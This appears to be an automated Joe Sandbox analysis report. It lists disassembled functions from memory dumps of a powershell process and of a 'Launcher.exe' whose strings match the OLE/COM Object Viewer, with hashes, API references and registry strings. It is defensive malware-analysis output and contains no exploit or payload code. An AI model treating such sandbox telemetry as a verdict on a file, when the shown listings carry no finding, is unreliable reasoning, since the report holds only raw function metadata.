Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442939a84670ade4b15699ac27a25ff3ff50808fa8b44a4f8f73bf718864ac28
Instruction ID: 4de438c422b0d7a7e5d441ecce7b9b51143fb4dcd2e17b128770b57e51fcc78d
Opcode Fuzzy Hash: 442939a84670ade4b15699ac27a25ff3ff50808fa8b44a4f8f73bf718864ac28
Instruction Fuzzy Hash: 0B4125B4A006059FCB05CF58C598ABEFBB1FF48310B2181A9D855AB364C736EC51CFA0

Function 005CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1772749465.00000000005CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 005CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ee11c7e59da3fd0905ae27b8d7723d67d3292c6056f6e7c39156362a176d5f
Instruction ID: 5fb5d255be72b4ceef17c9a49b15dcce9c02986e951ec80ccd1bbb2d977635df
Opcode Fuzzy Hash: a9ee11c7e59da3fd0905ae27b8d7723d67d3292c6056f6e7c39156362a176d5f
Instruction Fuzzy Hash: D301F7710093009EE7108A6ECD88F67BFA8FF41324F18C93DEC089B246D279D842C6B1

Function 005CD006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1772749465.00000000005CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 005CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5275c5ed96b3e3d417b2d7a0bbaeed65411c5a20e27a6a2d6156650e4bb53e08
Instruction ID: 293c818294a249927f2fc4bb08a411cdcacbf4613da0df470db388afdd768902
Opcode Fuzzy Hash: 5275c5ed96b3e3d417b2d7a0bbaeed65411c5a20e27a6a2d6156650e4bb53e08
Instruction Fuzzy Hash: F601526100E3C05ED7124B258C98B62BFB4EF53224F1DC5DBD888DF1A7D2699849C772

Function 00987FC0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513b4081edc8a50c3fd7196270721c92623c47e975412653a5b9a8ee81ee2c60
Instruction ID: 298c59bd18d2823801e82197f2059dbb04a762b8be6671faadb36582c900610d
Opcode Fuzzy Hash: 513b4081edc8a50c3fd7196270721c92623c47e975412653a5b9a8ee81ee2c60
Instruction Fuzzy Hash: 25F06D70D0834A9FCB44EFB895021AEBFF09B09300B2448ABD948D7351E73849418BE1

Function 00987FD0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d68b1e47f2eed2bfa0d35dec554f8ab132744a1924f796fd83434e8d0a8d6a13
Instruction ID: f6d4c4e1bb60aab810d276039bd565b1dc825d80868d6a9cf82589374fdc1bc9
Opcode Fuzzy Hash: d68b1e47f2eed2bfa0d35dec554f8ab132744a1924f796fd83434e8d0a8d6a13
Instruction Fuzzy Hash: B8E0B6B4D0420E9FCF88EFB994421BEFBF4AB08300F10896E9819E3300E63856018FE5

Function 00987F93 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65bd1beefa3f5ca4f204eb6828f77e9a000494b4f38c08f25a4764067f8c061a
Instruction ID: 9c61de3caee0e5b616f6bd6869e2df899b9834bb4ede32ce7bc76df2dbc399ec
Opcode Fuzzy Hash: 65bd1beefa3f5ca4f204eb6828f77e9a000494b4f38c08f25a4764067f8c061a
Instruction Fuzzy Hash: A9D0C92501D3D94ED31727A1A0193F1FF645B02311F3884C7EB8889793976E9996D7B1

Function 00987FA0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f19de0235a9f3b9ef0ad51959a8960b48382fb8a1fa888f15bfbd4e39c3e0027
Instruction ID: c22d16a43ae9e542f6286a30bfad3a2a7db5ad4f7ce117d564541451a31bbd05
Opcode Fuzzy Hash: f19de0235a9f3b9ef0ad51959a8960b48382fb8a1fa888f15bfbd4e39c3e0027
Instruction Fuzzy Hash: 33C04C3004C75C86D31567F6A00D7B4FE9C6741305F680441A30D406529A5EB46087B5

Analysis Process: Launcher.exePID: 6676, Parent PID: 3736COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	1267
Total number of Limit Nodes:	25

Executed Functions

Function 00B5B905 Relevance: 73.7, APIs: 36, Strings: 6, Instructions: 159
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5B90F
#540.MFC42U(000005AC,00B5B566,00000000,00000011), ref: 00B5B91D
#4155.MFC42U(00000004,000005AC,00B5B566,00000000,00000011), ref: 00B5B92F
StringFromGUID2.OLE32(00B536E4,?), ref: 00B5B949
wsprintfW.USER32 ref: 00B5B95F
RegQueryValueW.ADVAPI32(80000000,?,?,?), ref: 00B5B982
#540.MFC42U ref: 00B5B998
#540.MFC42U ref: 00B5B9A7
#538.MFC42U(Comcat.DLL), ref: 00B5B9BB
LoadLibraryW.KERNEL32(?,Comcat.DLL), ref: 00B5BAAE
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 00B5BAC5
#4155.MFC42U(00000019), ref: 00B5BB0C
#4155.MFC42U(00000018,00000019), ref: 00B5BB19
#940.MFC42U(?,00000018,00000019), ref: 00B5BB2B
#1197.MFC42U(?,00000000,00000000,?,00000018,00000019), ref: 00B5BB38
FreeLibrary.KERNEL32(00000000,?,00000000,00000000,?,00000018,00000019), ref: 00B5BB3E
#6398.MFC42U(?,Version,0000003D,00000001,comcat.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,0000001A,?,00000018), ref: 00B5BB5B
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 00B5BB66
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 00B5BB71
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 00B5BB7C
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 00B5BB87

Strings

DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|, xrefs: 00B5BA2C
comcat.dll, xrefs: 00B5BA37
Comcat.DLL, xrefs: 00B5B9AC
DllRegisterServer, xrefs: 00B5BABF
Version, xrefs: 00B5BB4B
CLSID\%s, xrefs: 00B5B959

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#4155#540$Library$#1197#538#6398#940AddressFreeFromH_prolog3_LoadProcQueryStringValuewsprintf
String ID: CLSID\%s$Comcat.DLL$DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|$DllRegisterServer$Version$comcat.dll
API String ID: 446370969-4202070818
Opcode ID: 0a2087981d63cfc0a4a31ad41cecad142f9cd72f8b399f6cd7cce21b37d1078c
Instruction ID: 3b1d5225a324c673f4b6a00b2b36672aef27ab14ade964512c3ac7987e64f72d
Opcode Fuzzy Hash: 0a2087981d63cfc0a4a31ad41cecad142f9cd72f8b399f6cd7cce21b37d1078c
Instruction Fuzzy Hash: 84516D31A41658AECF21EB50CC92FEEB7B4AF25702F4001E9F54A66091DFB55F88CE12

Function 00B5B4F0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B5B4F7

Part of subcall function 00B5B463: GetModuleHandleW.KERNEL32(Kernel32.dll), ref: 00B5B468
Part of subcall function 00B5B463: GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00B5B479

GetVersionExW.KERNEL32(00B737B0,00000004), ref: 00B5B512

Part of subcall function 00B6BD2A: LoadLibraryW.KERNEL32(ACLUI.DLL,00B5B51D), ref: 00B6BD38
Part of subcall function 00B6BD2A: MessageBoxW.USER32(00000000,Couldn't get address of EditSecurity ACLUI.DLL!,OLEViewer,00000000), ref: 00B6BD50
Part of subcall function 00B6BD2A: exit.MSVCRT ref: 00B6BD58
Part of subcall function 00B6BD2A: GetProcAddress.KERNEL32(00000000,EditSecurity), ref: 00B6BD64

#1202.MFC42U ref: 00B5B51D
#538.MFC42U(OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.), ref: 00B5B530

Part of subcall function 00B6D91D: __EH_prolog3.LIBCMT ref: 00B6D924
Part of subcall function 00B6D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,00B6B9B7,?,00000000,00000000,00000000), ref: 00B6D942
Part of subcall function 00B6D91D: #540.MFC42U ref: 00B6D94F
Part of subcall function 00B6D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 00B6D96C
Part of subcall function 00B6D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 00B6D97F
Part of subcall function 00B6D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D98C
Part of subcall function 00B6D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D997
Part of subcall function 00B6D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 00B6D99F
Part of subcall function 00B6D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 00B6D9AA
Part of subcall function 00B6D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA13

#800.MFC42U(?,00000000,OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.), ref: 00B5B546
#6112.MFC42U(00000011), ref: 00B5B556
#2613.MFC42U(00000000,00000011), ref: 00B5B571
#384.MFC42U(00000000,00000011), ref: 00B5B590
#2089.MFC42U(000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B5B2
#1197.MFC42U(Could not load bitmaps,00000000,00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B5C2
#520.MFC42U(00000002,00B53458,00B540EC,00B54A54,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B5EE
#986.MFC42U(00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B5FE
#4604.MFC42U(00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B60B
#1197.MFC42U(Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator.,00000000,00000000,00000000,00000000,00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 00B5B640
#5977.MFC42U ref: 00B5B688

Strings

Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator., xrefs: 00B5B63B
OleInitialize failed. Could not initialized OLE; OLEViewer cannot run., xrefs: 00B5B528
Could not load bitmaps, xrefs: 00B5B5BD

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1197#800$AddressH_prolog3MessageProc$#1202#2089#2613#2810#384#4604#520#538#540#5977#6112#858#922#986FormatFreeHandleLibraryLoadLocalModuleVersionexit
String ID: Could not load bitmaps$OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.$Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator.
API String ID: 800470354-1540245615
Opcode ID: 3fe476853f77c4ad5360ea63de53f20624ed23ec140659e24c3c1524b5b0ca73
Instruction ID: 97ad82d11c8eb0ea349747fbbbbec111960c1d306bc62fc6c36af0088b7f21fd
Opcode Fuzzy Hash: 3fe476853f77c4ad5360ea63de53f20624ed23ec140659e24c3c1524b5b0ca73
Instruction Fuzzy Hash: A041E270B002059BDB18BBB49C97F3D62E5AF44701F1444E9B922AB2D2DFB8CD489711

Function 00B6642D Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 284
registrycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00B536E4,00000000,00000001,00B536F4,00000000), ref: 00B664C3
GetUserDefaultLCID.KERNEL32(00000000), ref: 00B664EA
StringFromGUID2.OLE32(?,?,00000050), ref: 00B66589
wsprintfW.USER32 ref: 00B665C8
RegOpenKeyW.ADVAPI32(80000000,Component Categories,00000000), ref: 00B66750
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00B66789
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 00B667AB
RegQueryValueExW.ADVAPI32(?,409,00000000,00000000,?,00000200), ref: 00B667E0
wsprintfW.USER32 ref: 00B66813
RegCloseKey.ADVAPI32(?), ref: 00B6690C

Strings

_%S <no name>, xrefs: 00B665BC
g, xrefs: 00B66484
%s <no name>, xrefs: 00B66807
409, xrefs: 00B667D5
Component Categories, xrefs: 00B66746

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Openwsprintf$CloseCreateDefaultEnumFromInstanceQueryStringUserValue
String ID: %s <no name>$409$Component Categories$_%S <no name>$g
API String ID: 3086071695-2486616072
Opcode ID: e29c87c524b7a8fb417ed31a5a6cc2c7449d412b68e728dc01a2e5ea2a4bdfc0
Instruction ID: c131607e0d5abf288f268f83f197008bff851bac589b457434f46512bfa17a15
Opcode Fuzzy Hash: e29c87c524b7a8fb417ed31a5a6cc2c7449d412b68e728dc01a2e5ea2a4bdfc0
Instruction Fuzzy Hash: 29E1C971A00218DFDB60DF64DC45BA9B7FABB98315F1041EAE409E7290DB769EA4CF10

Function 00B5DBA0 Relevance: 114.2, APIs: 50, Strings: 15, Instructions: 422
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#6195.MFC42U(00B521A0), ref: 00B5DBDB
#1143.MFC42U(00000093,0000000E,00000093,00B521A0), ref: 00B5DBE9
LoadIconW.USER32(00000000,00000093), ref: 00B5DBEF
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B5DC03
#6195.MFC42U(00B521A0), ref: 00B5DC10

Part of subcall function 00B5E409: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E41E
Part of subcall function 00B5E409: SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E436
Part of subcall function 00B5E409: SendMessageW.USER32(?,00001309,00000000,00000000), ref: 00B5E451
Part of subcall function 00B5E409: #6211.MFC42U(00000000), ref: 00B5E45E

#1662.MFC42U ref: 00B5DC2A
lstrcmpW.KERNEL32(?,Application IDs), ref: 00B5DC37
#6195.MFC42U(Application IDs), ref: 00B5DC4C
#6195.MFC42U(All HKEY_CLASSES_ROOT\APPID Entries,Application IDs), ref: 00B5DC58
#1143.MFC42U(00000094,0000000E,00000094,All HKEY_CLASSES_ROOT\APPID Entries,Application IDs), ref: 00B5DC66
LoadIconW.USER32(00000000,00000094), ref: 00B5DC6C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00B5DC80
#2644.MFC42U ref: 00B5E158

Strings

Type Libraries, xrefs: 00B5DDF4
LocalServer32, xrefs: 00B5E079
Application IDs, xrefs: 00B5DC2F, 00B5DC41
InprocHandler32, xrefs: 00B5E0D5
All HKEY_CLASSES_ROOT\APPID Entries, xrefs: 00B5DC51
InprocServer, xrefs: 00B5E0BE
InprocHandler, xrefs: 00B5E0EC
CLSID\%s, xrefs: 00B5DF8D
LocalServer, xrefs: 00B5E090
Interfaces, xrefs: 00B5DE2B
No CLSID available., xrefs: 00B5DCCF
InprocServer32, xrefs: 00B5E0A7
All HKEY_CLASSES_ROOT\Component Categories Entries, xrefs: 00B5DD53
DefaultIcon, xrefs: 00B5DFDD
Component Categories, xrefs: 00B5DD3F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#6195$#1143IconLoad$#1662#2644#6211lstrcmp
String ID: All HKEY_CLASSES_ROOT\APPID Entries$All HKEY_CLASSES_ROOT\Component Categories Entries$Application IDs$CLSID\%s$Component Categories$DefaultIcon$InprocHandler$InprocHandler32$InprocServer$InprocServer32$Interfaces$LocalServer$LocalServer32$No CLSID available.$Type Libraries
API String ID: 3415864282-4228781962
Opcode ID: 8849dab3ede4d63219d26b9a84ab49880438acc2d19c79161f2da1ec37292fdb
Instruction ID: c8869c03519194cb03a7a33c536d90bb6999ea6c8fe36712f87437c764291b37
Opcode Fuzzy Hash: 8849dab3ede4d63219d26b9a84ab49880438acc2d19c79161f2da1ec37292fdb
Instruction Fuzzy Hash: 5BE18471A40214ABEB25BB20DC46FAA36E9EF45702F0404F8FD19BB192DF749E498B54

Function 00B5F616 Relevance: 110.7, APIs: 42, Strings: 21, Instructions: 447
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5F620
#540.MFC42U(0000025C,00B5DF5F), ref: 00B5F637
StringFromGUID2.OLE32(?,?,00000028,0000025C,00B5DF5F), ref: 00B5F64D
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 00B5F669
#861.MFC42U(?), ref: 00B5F6B5
#6195.MFC42U(?,?,?,?,?), ref: 00B5F705
#3087.MFC42U(0000008B,00000001,?,?,?,?,?), ref: 00B5F73F
#2634.MFC42U(0000008B,00000001,?,?,?,?,?), ref: 00B5F746
#861.MFC42U(?,?,0000008B,00000001,?,?,?,?,?), ref: 00B5F790
#861.MFC42U(?,?,?,?,?,?,0000008B,00000001,?,?,?,?,?), ref: 00B5F7DE
#2634.MFC42U(00000000,?,?,?,?,?,?,0000008B,00000001,?,?,?,?,?), ref: 00B5F7EB
#861.MFC42U(?,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F837
#861.MFC42U(00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F851
#2634.MFC42U(00000000,00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F85E
lstrcmpiW.KERNEL32(?,BOTH,?,?,00000000,00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F8AA
lstrcmpiW.KERNEL32(?,FREE,?,?,00000000,00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F8C7
lstrcmpiW.KERNEL32(?,APARTMENT,?,?,00000000,00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F8E4
lstrcmpiW.KERNEL32(?,NEUTRAL,?,?,00000000,00B521A0,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F901
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 00B5F939
#861.MFC42U(?,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F9DD
#2756.MFC42U(msjava.dll,?,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F9E9
#2756.MFC42U(MSJAVA.DLL,msjava.dll,?,00B521A0,?,00000100,?,?,?,?,?), ref: 00B5F9FA
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5FA13
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5FA2A
#861.MFC42U(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B5FA7D
#2634.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B5FA97
lstrcmpiW.KERNEL32(?,BOTH,?,?,?,00000000), ref: 00B5FAE3
lstrcmpiW.KERNEL32(?,FREE,?,?,?,00000000), ref: 00B5FB00
lstrcmpiW.KERNEL32(?,APARTMENT,?,?,?,00000000), ref: 00B5FB1D
lstrcmpiW.KERNEL32(?,NEUTRAL,?,?,?,00000000), ref: 00B5FB3A
SendMessageW.USER32(?,0000014D,000000FF,None), ref: 00B5FB72
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5FBBF
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5FBD8
#861.MFC42U(00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FBEC
#3087.MFC42U(00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FBF8
#2634.MFC42U(00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC00
#3087.MFC42U(0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC0C
#2634.MFC42U(00000000,0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC14
#2634.MFC42U(00000001,00000000,0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC21
#2634.MFC42U(00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC2E
#6330.MFC42U(00000000,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC45
#800.MFC42U(00000000,00000001,00000001,00000000,0000009C,00000000,00001FA5,00B521A0,?,?,?,?,?,?,?,00000000), ref: 00B5FC50

Strings

LocalService, xrefs: 00B5F764, 00B5F7B2
LocalServer32, xrefs: 00B5F95D
AppID, xrefs: 00B5F687
FREE, xrefs: 00B5F8BB, 00B5FAF4
NEUTRAL, xrefs: 00B5F8F5, 00B5FB2E
JavaClass, xrefs: 00B5FA54
InProcServer32, xrefs: 00B5F9AF, 00B5FA59, 00B5FAB9
InProcHandler32, xrefs: 00B5F810, 00B5F880
Neutral, xrefs: 00B5F911, 00B5FB4A
ServiceParameters, xrefs: 00B5F7AD
Both, xrefs: 00B5F8B4, 00B5FAED
ThreadingModel, xrefs: 00B5F87B, 00B5FAB4
Free, xrefs: 00B5F8D1, 00B5FB0A
BOTH, xrefs: 00B5F89E, 00B5FAD7
DllSurrogate, xrefs: 00B5FB90
MSJAVA.DLL, xrefs: 00B5F9F3
msjava.dll, xrefs: 00B5F9E2
APARTMENT, xrefs: 00B5F8D8, 00B5FB11
None, xrefs: 00B5F657, 00B5F920, 00B5F927, 00B5FB59, 00B5FB60
Apartment, xrefs: 00B5F8EE, 00B5FB27
TreatAs, xrefs: 00B5F6D7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634#861lstrcmpi$MessageSend$#3087$#2756$#540#6195#6330#800FromH_prolog3_String
String ID: APARTMENT$Apartment$AppID$BOTH$Both$DllSurrogate$FREE$Free$InProcHandler32$InProcServer32$JavaClass$LocalServer32$LocalService$MSJAVA.DLL$NEUTRAL$Neutral$None$ServiceParameters$ThreadingModel$TreatAs$msjava.dll
API String ID: 3203418238-4284008715
Opcode ID: d01a2efea1b93dcab5d7a19f8e0a250bbacdc3f39f5f965de34e18691386a264
Instruction ID: 3445f56addafab3750868916b19fd68aacf7ced52b5a7f902a1e44e7fcc8b452
Opcode Fuzzy Hash: d01a2efea1b93dcab5d7a19f8e0a250bbacdc3f39f5f965de34e18691386a264
Instruction Fuzzy Hash: B6F19731640319E6DB11EF20CD8AFEA73E9AF15B42F0405F5BD19AB1D1DBB19A8C8B50

Function 00B5BB96 Relevance: 100.0, APIs: 46, Strings: 11, Instructions: 246
registrylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5BBA0
#540.MFC42U(00000A30,00B61EC1,00000000,?,00000001), ref: 00B5BBB4
#4155.MFC42U(00000004,00000A30,00B61EC1,00000000,?,00000001), ref: 00B5BBC6
StringFromGUID2.OLE32(00B51980,?), ref: 00B5BBEB
wsprintfW.USER32 ref: 00B5BC04
RegQueryValueW.ADVAPI32(80000000,?,?,?), ref: 00B5BC27
#3516.MFC42U(?,Version,00000000), ref: 00B5BC42
#540.MFC42U(00000004,00000A30,00B61EC1,00000000,?,00000001), ref: 00B5BC56
#540.MFC42U(00000004,00000A30,00B61EC1,00000000,?,00000001), ref: 00B5BC64
GetModuleFileNameW.KERNEL32(00000000,?,00000208,00000004,00000A30,00B61EC1,00000000,?,00000001), ref: 00B5BC7A
wcsrchr.MSVCRT ref: 00B5BC92
lstrcpyW.KERNEL32(-00000002,IVIEWERS.DLL), ref: 00B5BCA3
#538.MFC42U(?), ref: 00B5BCB6
#4155.MFC42U(00000012), ref: 00B5BCD2
#4155.MFC42U(00000013,00000012), ref: 00B5BCDF
#940.MFC42U(?,00000013,00000012), ref: 00B5BCF1
#4155.MFC42U(00000015,?,00000013,00000012), ref: 00B5BCFE
#940.MFC42U(?,00000015,?,00000013,00000012), ref: 00B5BD10
#1197.MFC42U(?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD1F
#355.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD4B
#2507.MFC42U(00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD5A
#3494.MFC42U(?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD74
#858.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD84
#800.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD8F
#800.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BD9E
#641.MFC42U(00000000,?,00000001,iviewers.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,00000015,?,00000013,00000012), ref: 00B5BDA9
LoadLibraryW.KERNEL32(?,?), ref: 00B5BDB4
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 00B5BDCB
